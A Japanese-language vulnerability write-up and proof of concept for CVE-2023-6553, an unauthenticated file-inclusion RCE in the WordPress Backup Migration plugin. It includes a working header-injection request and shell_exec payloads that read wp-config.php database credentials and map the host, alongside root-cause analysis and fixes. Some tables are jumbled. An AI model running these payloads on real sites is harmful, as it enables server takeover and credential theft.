
CVE-2023-6553 の概念実証エクスプロイトと技術解説書です。これは、WordPress Backup Migration プラグイン <=1.3.7 において、リモートコード実行を可能にする未認証の PHP ファイルインクルード脆弱性に関するものです。
プラグイン: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Critical)
CWE: CWE-98 — Include/Requireステートメントにおけるファイル名の不適切な制御
認証要件: なし
影響: リモートコード実行(RCE)
Backup Migration は、ユーザーがバックアップを作成するのに役立つ、比較的人気のあるWordPressプラグインです(アクティブインストール数は約90,000以上)。バックアップ処理中、プラグインはバックグラウンドで backup-heart.php というファイルを実行しています。このファイルは、どのディレクトリをバックアップする必要があるか、設定ファイルがどこにあるかなどの設定情報をHTTPヘッダー経由で受け取ります。
問題は、このファイルがクライアントから送信されたHTTPヘッダーを完全に信頼し、ヘッダー値をそのままファイルパスに取り込み、そのパスから require_once() を使用してファイルを読み込むという点にあります。攻撃者は、悪意のあるPHPコードを含むディレクトリを指す Content-Dir ヘッダーを送信するだけで済みます → サーバーは自動的にそのファイルをインクルードして実行します。
注目すべき点は、backup-heart.php ファイルが認証を必要としないことです — リクエストメソッドがPOSTかどうかだけをチェックし、nonceやユーザー権限は一切検証しません。インターネット上の誰でもリクエストを送信できます。
⇒ これはゼロクリックの脆弱性です。
PHPには、実行中のプログラムに他のPHPファイルをインクルードするための include()、require()、require_once() などの関数があります。これらの関数に渡されるファイルパスが、検証なしにユーザー入力から来る場合、攻撃者はサーバーに任意のファイルをインクルードさせることができます:
allow_url_include=On が必要(通常はデフォルトで無効)。このCVEはLFIに分類されます — 攻撃者は require_once() に渡すパスを制御し、サーバー上に書き込んだPHPファイルを指し示します。
多くの開発者は、HTTPヘッダーがサーバーとクライアントだけが知る「内部」のメタデータだと考えています。実際には、攻撃者がヘッダーの内容を100%制御できます — 任意のヘッダー名と値を設定できます。ヘッダーを信頼することはフォーム入力を信頼することと同じで、検証が必須です。
define() とPHP定数define('NAME', $value) は、アプリケーション全体で使用される定数を作成します。一度 define されると、値は変更できません。$value が攻撃者由来の場合、その定数を使用するすべての場所が影響を受けます。
まずgrepを使用して、プラグイン全体のすべての require および include 文を検索しました:
grep -rn "require\|include" includes/

検索結果には多数のrequire/include呼び出しが含まれていました。確認したところ、ほとんどは banner/misc.php と banner/views/index.php 内の include_once 呼び出しで、これらはハードコードされたパスを持つ管理UIレンダリングコードに属しており、悪用は不可能です。
しかし、backup-heart.php の中の2行が目に留まりました:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
118行目は定数 BMI_INCLUDES を require_once で使用しています — この定数がハードコードされていれば安全です。しかし64行目を見上げると、BMI_INCLUDES は別の定数 BMI_ROOT_DIR から構築されていることがわかりました。そこでさらに追跡が必要です:BMI_ROOT_DIR はどこで値が代入されるのでしょうか?
再度grepを使用して追跡しました:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
結果:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
62行目は、BMI_ROOT_DIR が $fields['content-dir'] から値を取得することを示しています。これは固定値ではなく変数です — ファイルを開いて $fields が何を含むのか確認する必要があります。
backup-heart.php をVS Codeで開き、62行目を確認しました:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

$fields['content-dir'] がそのまま define() に入っていることがはっきりと確認できます。次に、$fields 変数がどこで代入されているかを特定する必要があります:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


この時点で、根本原因は極めて明確になります:$fields は getallheaders() で取得したすべてのHTTPヘッダーを保持しており、クライアントが完全に制御できます。wp_verify_nonce() も current_user_can() も有効なパスのチェックもありません — POSTメソッドを検証するだけで、ヘッダーを直接読み込んでいます。
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
根本原因のまとめ: HTTPヘッダー → define() → require_once()、その間に検証ステップは一切ありません。
攻撃フローを視覚的に確認するために、Xdebug + VS Codeを使用しました。backup-heart.php の62行目と118行目に2つのブレークポイントを設定し、curlを使用してエクスプロイトリクエストを送信しました。
ブレークポイント1 — 62行目:
デバッガはまさに define('BMI_ROOT_DIR', $fields['content-dir']) のところで一時停止しました。Variablesパネルで $fields 変数を展開すると、22個の要素を持つ配列が表示されました — クライアントが送信したすべてのHTTPヘッダーが含まれています。具体的には:
content-dir = "/tmp/bmi/" — これはまさにヘッダー経由で送信された値で、直接 BMI_ROOT_DIR 定数に代入されます。content-abs = "/var/www/html/"、content-configdir = "/tmp/bmi/"、content-backups = "/tmp/bmi/back..." — すべて攻撃者によって制御されています。content-dir が define() に渡される前に、検証やフィルタリングのステップは一切適用されていません。

ブレークポイント2 — 118行目:
F5を押すと、デバッガは require_once BMI_INCLUDES . '/bypasser.php' で一時停止しました。その状態を確認します:
$fields は依然として content-dir = "/tmp/bmi/" を保持しています — 62行目と118行目の間で値が変更されていないことを証明しています。{main} backup-heart.php 118:1 と表示されています — コードはファイルの先頭からこの地点まで一直線に実行され、ミドルウェアや認証チェックをすべてバイパスしています。/tmp/bmi/includes/bypasser.php パスのファイルをインクルードしようとしています — その内容は攻撃者が制御しています。
デバッグの結果は、ステップ3で分析したフローを完璧に裏付けています:HTTPヘッダーは getallheaders() → define() → require_once() の流れで、間に検証は一切ありません。
インクルードを発動させる前に、標的サーバー上にPHPファイルが既に存在している必要があります。一般的な手法は以下のとおりです:
| 手法 | 概要 |
|---|---|
| ログポイズニング | User-Agent内に <?php ... ?> を含むリクエストを送信 → コードがアクセスログに書き込まれる → ログファイルをインクルード |
Content-Dir をペイロードを含むディレクトリに向けたリクエストを送信します。サーバーは自動的に攻撃者のファイルを require して実行します。
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
backup-heart.php は他の define() 呼び出しでもこれらのヘッダーを使用するため、すべての Content-* ヘッダーを指定する必要があります — ヘッダーが欠落するとPHPの警告が発生し、require_once に到達する前に実行が中止される可能性があります。
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
200 が返ります — エンドポイントは公開されており、認証を求められません。

require_once が探すディレクトリ構造 {Content-Dir}includes/bypasser.php を作成します:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
実行結果:

RCE成功 — サーバーが id コマンドを実行し、その出力を返します。
RCEを確認した後、攻撃者がサーバー上の機密情報を読み取れることを実証するためにペイロードを変更しました。ペイロードファイルの内容を wp-config.php を読み取るように変更します:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
同じcurlエクスプロイトリクエストを再送信すると、出力にデータベース接続情報が返されます:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
攻撃者は www-data がアクセス権限を持つ任意のファイル — wp-config.php、/etc/passwd、他のプラグインのソースコード — を読み取ることができ、攻撃対象領域が拡大します。

攻撃者がサーバーのシステム情報を収集できることを実証するために、さらにペイロードを変更します — 権限昇格や水平移動(ラテラルムーブメント)の助けになります:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
curlエクスプロイトを送信 → 出力:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

この出力から、攻撃者は以下を発見します:
172.18.0.3 — サーバーがDockerネットワーク内にあることを確認し、他のコンテナ(データベース、キャッシュなど)へのピボットを可能にするbackup-heart.php はディスク上に残り、URLから直接アクセスできるためです。ファイルパスの決定にHTTPヘッダーを使用しないでください。__DIR__ から導出した相対パスを使用します:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
認可チェックを追加します — このエンドポイントを呼び出せるのはWordPress管理者のみにします:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php を標的とした不審なリクエストがないかアクセスログを確認してください。/wp-content/plugins/*/includes/*.php への直接POSTリクエストをブロックするWAFルールを実装してください。| 属性 | 値 |
|---|
| CVE ID | CVE-2023-6553 |
| CVSSスコア | 9.8 (Critical) |
| プラグイン | backup-backup (Backup Migration) ≤ 1.3.7 |
| 認証 | 不要 |
| ユーザー操作 | なし(ゼロクリック) |
| 修正版 | バージョン 1.3.8 |
| PHPセッション |
/tmp/sess_xxx にあるセッションファイルにPHPコードを書き込む |
| アップロードチェーン | WordPressのメディア/アバターアップロード機能を利用してファイルをアップロードする |
| プラグインエラーログ | プラグインが自身のエラーログを書き込む — PHPコードを含むエラーを発生させるとコードがログファイルに書き込まれる |
| CVSSメトリック | 値 | 理由 |
|---|
| 攻撃元区分 | ネットワーク | HTTP経由 |
| 攻撃条件の複雑さ | 低 | POSTリクエスト1回、タイミングや特別な条件は不要 |
| 必要な特権レベル | 不要 | エンドポイントは認証を必要としない |
| ユーザー操作 | 不要 | 攻撃者主導、被害者の操作は不要 |
| 機密性への影響 | 高 | 任意のファイルを読み取り可能:wp-config.php、/etc/passwd、ソースコード |
| 完全性への影響 | 高 | 任意のファイル書き込み、Webシェルの設置、データベースの改変 |
| 可用性への影響 | 高 | ファイル削除、プロセス終了、サーバーの完全な乗っ取り |